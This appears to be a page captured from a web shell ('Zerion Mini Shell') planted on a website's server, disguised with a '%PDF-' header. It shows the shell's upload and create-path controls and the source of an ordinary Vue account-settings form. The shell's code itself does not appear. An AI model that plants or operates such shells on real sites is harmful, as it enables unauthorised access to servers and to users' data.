%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/components/blocks/Account/settings/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/components/blocks/Account/settings/AccountPersonal.vue

<template>
  <Block title="Personal Details">
    <ValidationObserver ref="form">
      <form @submit.prevent="saveDetails" role="form" method="POST">
        <t-input-group label="First Name">
          <ValidationProvider rules="required" v-slot="{ errors }">
            <input class="form-control"
              v-model="first_name"
              type="text"
              id="first_name"
              name="first_name" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <t-input-group label="Surname">
          <ValidationProvider rules="required" v-slot="{ errors }">
            <input class="form-control"
              v-model="last_name"
              type="text"
              id="last_name"
              name="last_name" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <t-input-group label="Email Address">
          <ValidationProvider name="email" rules="required|email" v-slot="{ errors }">
            <input class="form-control"
              v-model="email"
              type="email"
              id="email"
              name="email" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <t-input-group label="Phone Number">
          <ValidationProvider rules="required|phone_number" v-slot="{ errors }">
            <input class="form-control"
              v-model="phone"
              type="tel"
              id="phone"
              name="phone"
              placeholder="+44" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <t-input-group label="Home Address">
          <ValidationProvider rules="required" v-slot="{ errors }">
            <input class="form-control"
              v-model="address.address"
              type="text"
              id="address"
              name="address" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <t-input-group label="Town/City">
          <ValidationProvider rules="required" v-slot="{ errors }">
            <input class="form-control"
              v-model="address.town_city"
              type="text"
              id="town"
              name="town" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <t-input-group label="Postcode">
          <ValidationProvider rules="required" v-slot="{ errors }">
            <input class="form-control"
              v-model="address.postcode"
              type="text"
              id="Postcode"
              name="Postcode" />
            <span class="field-invalid" v-if="errors[0]">{{ errors[0] }}</span>
          </ValidationProvider>
        </t-input-group>
        <div class="flex items-center justify-center">
          <button 
            class="btn btn-small btn-primary rounded-full"
            type="submit">
            <span v-if="working == false">Save Changes</span>
            <span 
              class="flex items-center justify-center"
              v-else>
              <svg class="animate-spin -ml-1 mr-3 h-5 w-5 text-current" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
                <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle>
                <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
              </svg>
              <span>Saving</span>
            </span>
          </button>
        </div>
      </form>
    </ValidationObserver>
  </Block>
</template>

<script>
export default {
  data() {
    return {
      working: false,
      first_name: '',
      last_name: '',
      email: '',
      phone: '',
      address: {
        address: '',
        town_city: '',
        postcode: ''
      }
    }
  },

  async fetch() {
    const { data } = await this.$axios.$get('/account/details/personal')
    
    for (const [key, value] of Object.entries(data)) {
      if(value !== null) {
        this[key] = value;
      } else if(Array.isArray(value) && value !== null) {
        this[key].push(value);
      }
    }
  },

  methods: {
    async saveDetails() {
      this.$refs.form.validate().then(success => {
        if (!success) {
          return;
        }
        
        this.working = true;
        this.$axios.$post('/account/details/personal/update', {
          first_name: this.first_name,
          last_name: this.last_name,
          email: this.email,
          phone: this.phone,
          address: this.address
        }).then((response) => {
          this.working = false;
          this.$store.dispatch('account/progress/get', { slug: 'settings' })
          this.$toast.success(response).goAway(1500);
        }).catch(error => {
          this.working = false;
          this.$refs.form.setErrors(error.response.data.errors);
        })
      })
    }
  }
}
</script>

Zerion Mini Shell 1.0